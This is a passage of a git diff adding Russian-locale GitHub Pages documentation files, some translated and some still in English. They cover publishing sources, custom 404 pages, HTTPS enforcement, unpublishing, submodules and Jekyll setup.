site](/pages/configuring-a-custom-domain-for-your-github-pages-site)." + +## Changing the visibility of your {% data variables.product.prodname_pages %} site + +{% data reusables.pages.navigate-site-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +3. Under "{% data variables.product.prodname_pages %}", select the **{% data variables.product.prodname_pages %} visibility** drop-down menu, then click a visibility. + ![Drop-down to choose a visibility for your site](/assets/images/help/pages/public-or-private-visibility.png) +4. To see your published site, under "{% data variables.product.prodname_pages %}", click your site's URL. +![URL of your privately published site](/assets/images/help/pages/click-private-pages-url-to-preview.png) + + {% note %} + + {% data reusables.pages.twenty-minutes-to-publish %} + + {% endnote %} diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md new file mode 100644 index 000000000000..1fcd901773a7 --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md @@ -0,0 +1,100 @@ +--- +title: Configuring a publishing source for your GitHub Pages site +intro: '{% ifversion pages-custom-workflow %}You can configure your {% data variables.product.prodname_pages %} site to publish when changes are pushed to a specific branch, or you can write a {% data variables.product.prodname_actions %} workflow to publish your site.{% else%}If you use the default publishing source for your {% data variables.product.prodname_pages %} site, your site will publish automatically. You can also choose to publish your site from a different branch or folder.{% endif %}' +redirect_from: + - /articles/configuring-a-publishing-source-for-github-pages + - /articles/configuring-a-publishing-source-for-your-github-pages-site + - /github/working-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site +product: '{% data reusables.gated-features.pages %}' +permissions: 'People with admin or maintainer permissions for a repository can configure a publishing source for a {% data variables.product.prodname_pages %} site.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Configure publishing source +--- + +## About publishing sources + +{% data reusables.pages.pages-about-publishing-source %} + +{% data reusables.pages.private_pages_are_public_warning %} + +## Publishing from a branch + +1. Make sure the branch you want to use as your publishing source already exists in your repository. +{% data reusables.pages.navigate-site-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +{% ifversion pages-custom-workflow %} +1. Under "Build and deployment", under "Source", select **Deploy from a branch**. +1. Under "Build and deployment", under "Branch", use the **None** or **Branch** drop-down menu and select a publishing source. + + ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png) +{% else %} +3. Under "{% data variables.product.prodname_pages %}", use the **None** or **Branch** drop-down menu and select a publishing source. + ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png) +{% endif %} +4. Optionally, use the drop-down menu to select a folder for your publishing source. + ![Drop-down menu to select a folder for publishing source](/assets/images/help/pages/publishing-source-folder-drop-down.png) +5. Click **Save**. + ![Button to save changes to publishing source settings](/assets/images/help/pages/publishing-source-save.png) + +### Troubleshooting publishing from a branch + +{% data reusables.pages.admin-must-push %} + +If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. For more information, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)." + +{% ifversion build-pages-with-actions %} + +Your {% data variables.product.prodname_pages %} site will always be deployed with a {% data variables.product.prodname_actions %} workflow run, even if you've configured your {% data variables.product.prodname_pages %} site to be built using a different CI tool. Most external CI workflows "deploy" to GitHub Pages by committing the build output to the `gh-pages` branch of the repository, and typically include a `.nojekyll` file. When this happens, the {% data variables.product.prodname_actions %} workflow will detect the state that the branch does not need a build step, and will execute only the steps necessary to deploy the site to {% data variables.product.prodname_pages %} servers. + +To find potential errors with either the build or deployment, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)." For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)." + +{% endif %} + +{% ifversion pages-custom-workflow %} + +## Publishing with a custom {% data variables.product.prodname_actions %} workflow + +{% data reusables.pages.pages-custom-workflow-beta %} + +To configure your site to publish with {% data variables.product.prodname_actions %}: + +{% data reusables.pages.navigate-site-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +1. Under "Build and deployment", under "Source", select **GitHub Actions**. +1. {% data variables.product.product_name %} will suggest several starter workflows. If you already have a workflow to publish your site, you can skip this step. Otherwise, choose one of the options to create a {% data variables.product.prodname_actions %} workflow. For more information about creating your custom workflow, see "[Creating a custom {% data variables.product.prodname_actions %} workflow to publish your site](#creating-a-custom-github-actions-workflow-to-publish-your-site)." + + {% data variables.product.prodname_pages %} does not associate a specific workflow to the {% data variables.product.prodname_pages %} settings. However, the {% data variables.product.prodname_pages %} settings will link to the workflow run that most recently deployed your site. + +### Creating a custom {% data variables.product.prodname_actions %} workflow to publish your site + +For more information about {% data variables.product.prodname_actions %}, see "[Actions](/actions)." + +When you configure your site to publish with {% data variables.product.prodname_actions %}, {% data variables.product.product_name %} will suggest starter workflows for common publishing scenarios. The general flow of a workflow is to: + +1. Trigger whenever there is a push to the default branch of the repository or whenever the workflow is run manually from the Actions tab. +1. Use the [`actions/checkout`](https://github.com/actions/checkout) action to check out the repository contents. +1. If required by your site, build any static site files. +1. Use the [`actions/upload-pages-artifact`](https://github.com/actions/upload-pages-artifact) action to upload the static files as an artifact. +1. If the workflow was triggered by a push to the default branch, use the [`actions/deploy-pages`](https://github.com/actions/deploy-pages) action to deploy the artifact. This step is skipped if the workflow was triggered by a pull request. + +The starter workflows use a deployment environment called `github-pages`. If your repository does not already include an environment called `github-pages`, the environment will be created automatically. We recommend that you add an environment protection rule so that only the default branch can deploy to this environment. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment)." + +{% note %} + +**Note**: A `CNAME` file in your repository file does not automatically add or remove a custom domain. Instead, you must configure the custom domain through your repository settings or through the API. For more information, see "[Managing a custom domain for your GitHub Pages site](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)" and the [Pages API reference documentation](/rest/pages#update-information-about-a-github-pages-site). + +{% endnote %} + +### Troubleshooting publishing with a custom {% data variables.product.prodname_actions %} workflow + +For information about how to troubleshoot your {% data variables.product.prodname_actions %} workflow, see "[About monitoring and troubleshooting](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)." + +{% endif %} diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md new file mode 100644 index 000000000000..dd78b4a4a814 --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md @@ -0,0 +1,38 @@ +--- +title: Создание настраиваемой страницы 404 для сайта GitHub Pages +intro: 'Пользовательскую страницу с ошибкой 404 можно отображать, когда пользователи пытаются получить доступ к несуществующим страницам на сайте.' +redirect_from: + - /articles/custom-404-pages + - /articles/creating-a-custom-404-page-for-your-github-pages-site + - /github/working-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Create custom 404 page +ms.openlocfilehash: 1b10946277d90773b847b929d85a3b6cf8212a4e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880568' +--- +{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %} {% data reusables.files.add-file %} +3. В поле имени файла введите `404.html` или `404.md`. + ![Поле имени файла](/assets/images/help/pages/404-file-name.png) +4. Если вы дали вашему файлу имя `404.md`, добавьте в начало файла следующий вступительный блок YAML: + ```yaml + --- + permalink: /404.html + --- + ``` +5. Под вступительным блоком YAML (если он существует) добавьте содержимое, которое вы хотите отобразить на своей странице 404. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} + +## Дополнительные материалы + +- [Вступительный блок](http://jekyllrb.com/docs/frontmatter) в документации Jekyll diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md new file mode 100644 index 000000000000..6316dc931b7a --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md @@ -0,0 +1,71 @@ +--- +title: Creating a GitHub Pages site +intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.' +redirect_from: + - /articles/creating-pages-manually + - /articles/creating-project-pages-manually + - /articles/creating-project-pages-from-the-command-line + - /articles/creating-project-pages-using-the-command-line + - /articles/creating-a-github-pages-site + - /github/working-with-github-pages/creating-a-github-pages-site +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Create a GitHub Pages site +--- + +{% data reusables.pages.org-owners-can-restrict-pages-creation %} + +## Creating a repository for your site + +{% data reusables.pages.new-or-existing-repo %} + +{% data reusables.repositories.create_new %} +{% data reusables.repositories.owner-drop-down %} +{% indented_data_reference reusables.pages.emu-org-only spaces=3 %} +{% data reusables.pages.create-repo-name %} +{% data reusables.repositories.choose-repo-visibility %} +{% data reusables.repositories.initialize-with-readme %} +{% data reusables.repositories.create-repo %} + +## Creating your site + +{% data reusables.pages.must-have-repo-first %} + +{% data reusables.pages.private_pages_are_public_warning %} + +{% data reusables.pages.navigate-site-repo %} +{% data reusables.pages.decide-publishing-source %} +1. Create the entry file for your site. {% data variables.product.prodname_pages %} will look for an `index.html`, `index.md`, or `README.md` file as the entry file for your site. + + {% ifversion pages-custom-workflow %}If your publishing source is a branch and folder, the entry file must be at the top level of the source folder on the source branch. For example, if your publishing source is the `/docs` folder on the `main` branch, your entry file must be located in the `/docs` folder on a branch called `main`. + + If your publishing source is a {% data variables.product.prodname_actions %} workflow, the artifact that you deploy must include the entry file at the top level of the artifact. Instead of adding the entry file to your repository, you may choose to have your {% data variables.product.prodname_actions %} workflow generate your entry file when the workflow runs.{% else %} + The entry file must be at the top level of your chosen publishing source. For example, if your publishing source is the `/docs` folder on the `main` branch, your entry file must be located in the `/docs` folder on a branch called `main`.{% endif %} +{% data reusables.pages.configure-publishing-source %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +{% data reusables.pages.choose-visibility %} +{% data reusables.pages.visit-site %} +{% data reusables.pages.check-workflow-run %} + +{% data reusables.pages.admin-must-push %} + +## Next steps + +You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html`. + +You can also add a theme to customize your site’s look and feel. For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)". + +To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)". + +## Further reading + +- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)" +- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)" +- "[Creating new files](/articles/creating-new-files)" diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/index.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/index.md new file mode 100644 index 000000000000..e5d355e6aec0 --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/index.md @@ -0,0 +1,34 @@ +--- +title: Начало работы с GitHub Pages +intro: 'Вы можете настроить базовый сайт {% data variables.product.prodname_pages %} для себя, своей организации или проекта.' +redirect_from: + - /categories/github-pages-basics + - /articles/additional-customizations-for-github-pages + - /articles/getting-started-with-github-pages + - /github/working-with-github-pages/getting-started-with-github-pages +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +children: + - /about-github-pages + - /creating-a-github-pages-site + - /configuring-a-publishing-source-for-your-github-pages-site + - /changing-the-visibility-of-your-github-pages-site + - /creating-a-custom-404-page-for-your-github-pages-site + - /securing-your-github-pages-site-with-https + - /using-submodules-with-github-pages + - /unpublishing-a-github-pages-site +shortTitle: Get started +ms.openlocfilehash: 4945585f635543fefe2f60de2f82b49bf4d10e84 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109271' +--- + diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md new file mode 100644 index 000000000000..ba9d729c48d6 --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md @@ -0,0 +1,70 @@ +--- +title: Securing your GitHub Pages site with HTTPS +intro: 'HTTPS adds a layer of encryption that prevents others from snooping on or tampering with traffic to your site. You can enforce HTTPS for your {% data variables.product.prodname_pages %} site to transparently redirect all HTTP requests to HTTPS.' +product: '{% data reusables.gated-features.pages %}' +redirect_from: + - /articles/securing-your-github-pages-site-with-https + - /github/working-with-github-pages/securing-your-github-pages-site-with-https +versions: + fpt: '*' + ghec: '*' +topics: + - Pages +shortTitle: Secure site with HTTPS +--- + +People with admin permissions for a repository can enforce HTTPS for a {% data variables.product.prodname_pages %} site. + +## About HTTPS and {% data variables.product.prodname_pages %} + +All {% data variables.product.prodname_pages %} sites, including sites that are correctly configured with a custom domain, support HTTPS and HTTPS enforcement. For more information about custom domains, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)" and "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages#https-errors)." + +{% data reusables.pages.no_sensitive_data_pages %} + +{% data reusables.pages.private_pages_are_public_warning %} + +{% note %} + +**Note:** RFC3280 states that the maximum length of the common name should be 64 characters. Therefore, the entire domain name of your {% data variables.product.prodname_pages %} site must be less than 64 characters long for a certificate to be successfully created. + +{% endnote %} + +## Enforcing HTTPS for your {% data variables.product.prodname_pages %} site + +{% data reusables.pages.navigate-site-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +3. Under "{% data variables.product.prodname_pages %}," select **Enforce HTTPS**. + ![Enforce HTTPS checkbox](/assets/images/help/pages/enforce-https-checkbox.png) + +## Troubleshooting certificate provisioning ("Certificate not yet created" error) + +When you set or change your custom domain in the Pages settings, an automatic DNS check begins. This check determines if your DNS settings are configured to allow {% data variables.product.prodname_dotcom %} to obtain a certificate automatically. If the check is successful, {% data variables.product.prodname_dotcom %} queues a job to request a TLS certificate from [Let's Encrypt](https://letsencrypt.org/). On receiving a valid certificate, {% data variables.product.prodname_dotcom %} automatically uploads it to the servers that handle TLS termination for Pages. When this process completes successfully, a check mark is displayed beside your custom domain name. + +The process may take some time. If the process has not completed several minutes after you clicked **Save**, try clicking **Remove** next to your custom domain name. Retype the domain name and click **Save** again. This will cancel and restart the provisioning process. + +## Resolving problems with mixed content + +If you enable HTTPS for your {% data variables.product.prodname_pages %} site but your site's HTML still references images, CSS, or JavaScript over HTTP, then your site is serving *mixed content*. Serving mixed content may make your site less secure and cause trouble loading assets. + +To remove your site's mixed content, make sure all your assets are served over HTTPS by changing `http://` to `https://` in your site's HTML. + +Assets are commonly found in the following locations: +- If your site uses Jekyll, your HTML files will probably be found in the *_layouts* folder. +- CSS is usually found in the `<head>` section of your HTML file. +- JavaScript is usually found in the `<head>` section or just before the closing `</body>` tag. +- Images are often found in the `<body>` section. + +{% tip %} + +**Tip:** If you can't find your assets in your site's source files, try searching your site's source files for `http` in your text editor or on {% data variables.product.product_name %}. + +{% endtip %} + +### Examples of assets referenced in an HTML file + +| Asset type | HTTP | HTTPS | +|:----------:|:-----------------------------------------:|:---------------------------------:| +| CSS | `<link rel="stylesheet" href="http://example.com/css/main.css">` | `<link rel="stylesheet" href="https://example.com/css/main.css">` +| JavaScript | `<script type="text/javascript" src="http://example.com/js/main.js"></script>` | `<script type="text/javascript" src="https://example.com/js/main.js"></script>` +| Image | `<a href="http://www.somesite.com"><img src="http://www.example.com/logo.jpg" alt="Logo"></a>` | `<a href="https://www.somesite.com"><img src="https://www.example.com/logo.jpg" alt="Logo"></a>` diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md new file mode 100644 index 000000000000..bdaf20e577c5 --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md @@ -0,0 +1,52 @@ +--- +title: Unpublishing a GitHub Pages site +intro: 'You can unpublish your {% data variables.product.prodname_pages %} site so that the site is no longer available.' +redirect_from: + - /articles/how-do-i-unpublish-a-project-page + - /articles/unpublishing-a-project-page + - /articles/unpublishing-a-project-pages-site + - /articles/unpublishing-a-user-pages-site + - /articles/unpublishing-a-github-pages-site + - /github/working-with-github-pages/unpublishing-a-github-pages-site +product: '{% data reusables.gated-features.pages %}' +permissions: 'People with admin or maintainer permissions for a repository can unpublish a {% data variables.product.prodname_pages %} site.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Unpublish Pages site +--- + +{% ifversion pages-custom-workflow %} + +When you unpublish your site, the site will no longer be available. Any existing repository settings or content will not be affected. + +{% data reusables.repositories.navigate-to-repo %} +1. Under **{% data variables.product.prodname_pages %}**, next to the **Your site is live at** message, click {% octicon "kebab-horizontal" aria-label="the horizontal kebab icon" %}. +1. In the menu that appears, select **Unpublish site**. + + ![Drop down menu to unpublish site](/assets/images/help/pages/unpublish-site.png) + +{% else %} + +## Unpublishing a project site + +{% data reusables.repositories.navigate-to-repo %} +2. If a `gh-pages` branch exists in the repository, delete the `gh-pages` branch. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)." +3. If the `gh-pages` branch was your publishing source, {% ifversion fpt or ghec %}skip to step 6{% else %}your site is now unpublished and you can skip the remaining steps{% endif %}. +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +5. Under "{% data variables.product.prodname_pages %}", use the **Source** drop-down menu and select **None.** + ![Drop down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png) +{% data reusables.pages.update_your_dns_settings %} + +## Unpublishing a user or organization site + +{% data reusables.repositories.navigate-to-repo %} +2. Delete the branch that you're using as a publishing source, or delete the entire repository. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" and "[Deleting a repository](/articles/deleting-a-repository)." +{% data reusables.pages.update_your_dns_settings %} + +{% endif %} diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md new file mode 100644 index 000000000000..4dcc8173747c --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md @@ -0,0 +1,31 @@ +--- +title: Использование подмодулей вместе с GitHub Pages +intro: 'Дополнительные модули можно использовать с {% data variables.product.prodname_pages %}, чтобы включить другие проекты в код сайта.' +redirect_from: + - /articles/using-submodules-with-pages + - /articles/using-submodules-with-github-pages + - /github/working-with-github-pages/using-submodules-with-github-pages +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Pages +shortTitle: Use submodules with Pages +ms.openlocfilehash: cfe863c3a7d77d006ee4c78e9d58302fb01e4dd4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880801' +--- +Если репозиторий для сайта {% data variables.product.prodname_pages %} содержит подмодули, их содержимое будет автоматически извлекаться при сборке сайта. + +Можно использовать только подмодули, указывающие на общедоступные репозитории, так как сервер {% data variables.product.prodname_pages %} не может получать доступ к частным репозиториям. + +Используйте для своих подмодулей, в том числе вложенных подмодулей, URL-адрес `https://` только для чтения. Это изменение можно внести в файле _.gitmodules_. + +## Дополнительные материалы + +- Раздел [Инструменты Git — подмодули](https://git-scm.com/book/en/Git-Tools-Submodules) в книге _Pro Git_ +- [Устранение ошибок сборки Jekyll для сайтов {% data variables.product.prodname_pages %} сайтов](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites) diff --git a/translations/ru-RU/content/pages/index.md b/translations/ru-RU/content/pages/index.md new file mode 100644 index 000000000000..19adbee12304 --- /dev/null +++ b/translations/ru-RU/content/pages/index.md @@ -0,0 +1,53 @@ +--- +title: GitHub Pages Documentation +shortTitle: GitHub Pages +intro: 'Learn how to create a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. Explore website building tools like Jekyll and troubleshoot issues with your {% data variables.product.prodname_pages %} site.' +introLinks: + quickstart: /pages/quickstart + overview: /pages/getting-started-with-github-pages/about-github-pages +featuredLinks: + guides: + - /pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site + - /pages/getting-started-with-github-pages/creating-a-github-pages-site + - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site{% endif %}' + - '{% ifversion ghes or ghae %}/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll{% endif %}' + - '{% ifversion ghec %}/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site{% endif %}' + - '{% ifversion ghes or ghae %}/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll{% endif %}' + popular: + - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages{% endif %}' + - /pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll) + - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages{% endif %}' + - '{% ifversion fpt or ghec %}/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https{% endif %}' + - '{% ifversion ghes or ghae %}/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site{% endif %}' + - '{% ifversion ghes or ghae %}/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll{% endif %}' + - '{% ifversion ghes or ghae %}/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll{% endif %}' + guideCards: + - /pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site + - /pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll + - /pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites +changelog: + label: pages +layout: product-landing +redirect_from: + - /categories/20/articles + - /categories/95/articles + - /categories/github-pages-features + - /categories/96/articles + - /categories/github-pages-troubleshooting + - /categories/working-with-github-pages + - /github/working-with-github-pages +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +children: + - /quickstart + - /getting-started-with-github-pages + - /setting-up-a-github-pages-site-with-jekyll + - /configuring-a-custom-domain-for-your-github-pages-site +--- + diff --git a/translations/ru-RU/content/pages/quickstart.md b/translations/ru-RU/content/pages/quickstart.md new file mode 100644 index 000000000000..30362440dda6 --- /dev/null +++ b/translations/ru-RU/content/pages/quickstart.md @@ -0,0 +1,58 @@ +--- +title: Quickstart for GitHub Pages +intro: 'You can use {% data variables.product.prodname_pages %} to showcase some open source projects, host a blog, or even share your résumé. This guide will help get you started on creating your next website.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: quick_start +topics: + - Pages +shortTitle: Quickstart +product: '{% data reusables.gated-features.pages %}' +--- + +## Introduction + +{% data variables.product.prodname_pages %} are public webpages hosted and published through {% data variables.product.product_name %}. The quickest way to get up and running is by using the Jekyll Theme Chooser to load a pre-made theme. You can then modify your {% data variables.product.prodname_pages %}' content and style. + +This guide will lead you through creating a user site at `username.github.io`. + +## Creating your website + +{% data reusables.repositories.create_new %} +1. Enter `username.github.io` as the repository name. Replace `username` with your {% data variables.product.prodname_dotcom %} username. For example, if your username is `octocat`, the repository name should be `octocat.github.io`. + ![Repository name field](/assets/images/help/pages/create-repository-name-pages.png) +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +1. Under "Build and deployment", under "Source", select **Deploy from a branch**. +1. Under "Build and deployment", under "Branch", use the **None** or **Branch** drop-down menu and select a publishing source. + + ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png) +1. Optionally, open the `README.md` file of your repository. The `README.md` file is where you will write the content for your site. You can edit the file or keep the default content for now. +1. Visit `username.github.io` to view your new website. **Note:** It can take up to 10 minutes for changes to your site to publish after you push the changes to {% data variables.product.product_name %}. + +## Changing the title and description + +By default, the title of your site is `username.github.io`. You can change the title by editing the `_config.yml` file in your repository. You can also add a description for your site. + +1. Click the **Code** tab of your repository. +1. In the file list, click `_config.yml` to open the file. +1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the file. +1. The `_config.yml` file already contains a line that specifies the theme for your site. Add a new line with `title:` followed by the title you want. Add a new line with `description:` followed by the description you want. For example: + + ```yaml + theme: jekyll-theme-minimal + title: Octocat's homepage + description: Bookmark this to keep an eye on my project updates! + ``` + +1. When you are done editing the file, click **Commit changes**. + +## Next Steps + +For more information about how to add additional pages to your site, see "[Adding content to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll#about-content-in-jekyll-sites)." + +For more information about setting up a {% data variables.product.prodname_pages %} site with Jekyll, see "[About GitHub Pages and Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll)." diff --git a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md new file mode 100644 index 000000000000..29b2261ef803 --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md @@ -0,0 +1,137 @@ +--- +title: Сведения о GitHub Pages и Jekyll +intro: "Jekyll\_— это генератор статических сайтов со встроенной поддержкой {% data variables.product.prodname_pages %}." +redirect_from: + - /articles/about-jekyll-themes-on-github + - /articles/configuring-jekyll + - /articles/configuring-jekyll-plugins + - /articles/using-syntax-highlighting-on-github-pages + - /articles/files-that-start-with-an-underscore-are-missing + - /articles/sitemaps-for-github-pages + - /articles/search-engine-optimization-for-github-pages + - /articles/repository-metadata-on-github-pages + - /articles/atom-rss-feeds-for-github-pages + - /articles/redirects-on-github-pages + - /articles/emoji-on-github-pages + - /articles/mentions-on-github-pages + - /articles/using-jekyll-plugins-with-github-pages + - /articles/adding-jekyll-plugins-to-a-github-pages-site + - /articles/about-github-pages-and-jekyll + - /github/working-with-github-pages/about-github-pages-and-jekyll +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: GitHub Pages & Jekyll +ms.openlocfilehash: 15551d849842c0b8866c0820c4a42397f412d6ea +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 07/13/2022 +ms.locfileid: '145140257' +--- +## <a name="about-jekyll"></a>Сведения о Jekyll + +Jekyll — это генератор статических сайтов со встроенной поддержкой {% data variables.product.prodname_pages %} и упрощенным процессом сборки. Jekyll принимает файлы Markdown и HTML и создает полный статический веб-сайт на основе вашего выбора макетов. Jekyll поддерживает Markdown и Liquid, язык шаблонов, который загружает динамическое содержимое на вашем сайте. Дополнительные сведения см. в разделе [Jekyll](https://jekyllrb.com/). + +Jekyll для Windows официально не поддерживается. Дополнительные сведения см. в разделе [Jekyll в Windows](http://jekyllrb.com/docs/windows/#installation) в документации по Jekyll. + +Рекомендуется использовать Jekyll с {% data variables.product.prodname_pages %}. При желании вы можете использовать другие генераторы статических сайтов или настроить собственный процесс сборки локально или на другом сервере. Дополнительные сведения см. в статье [Сведения о {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators). + +## <a name="configuring-jekyll-in-your--data-variablesproductprodname_pages--site"></a>Настройка Jekyll на вашем сайте {% 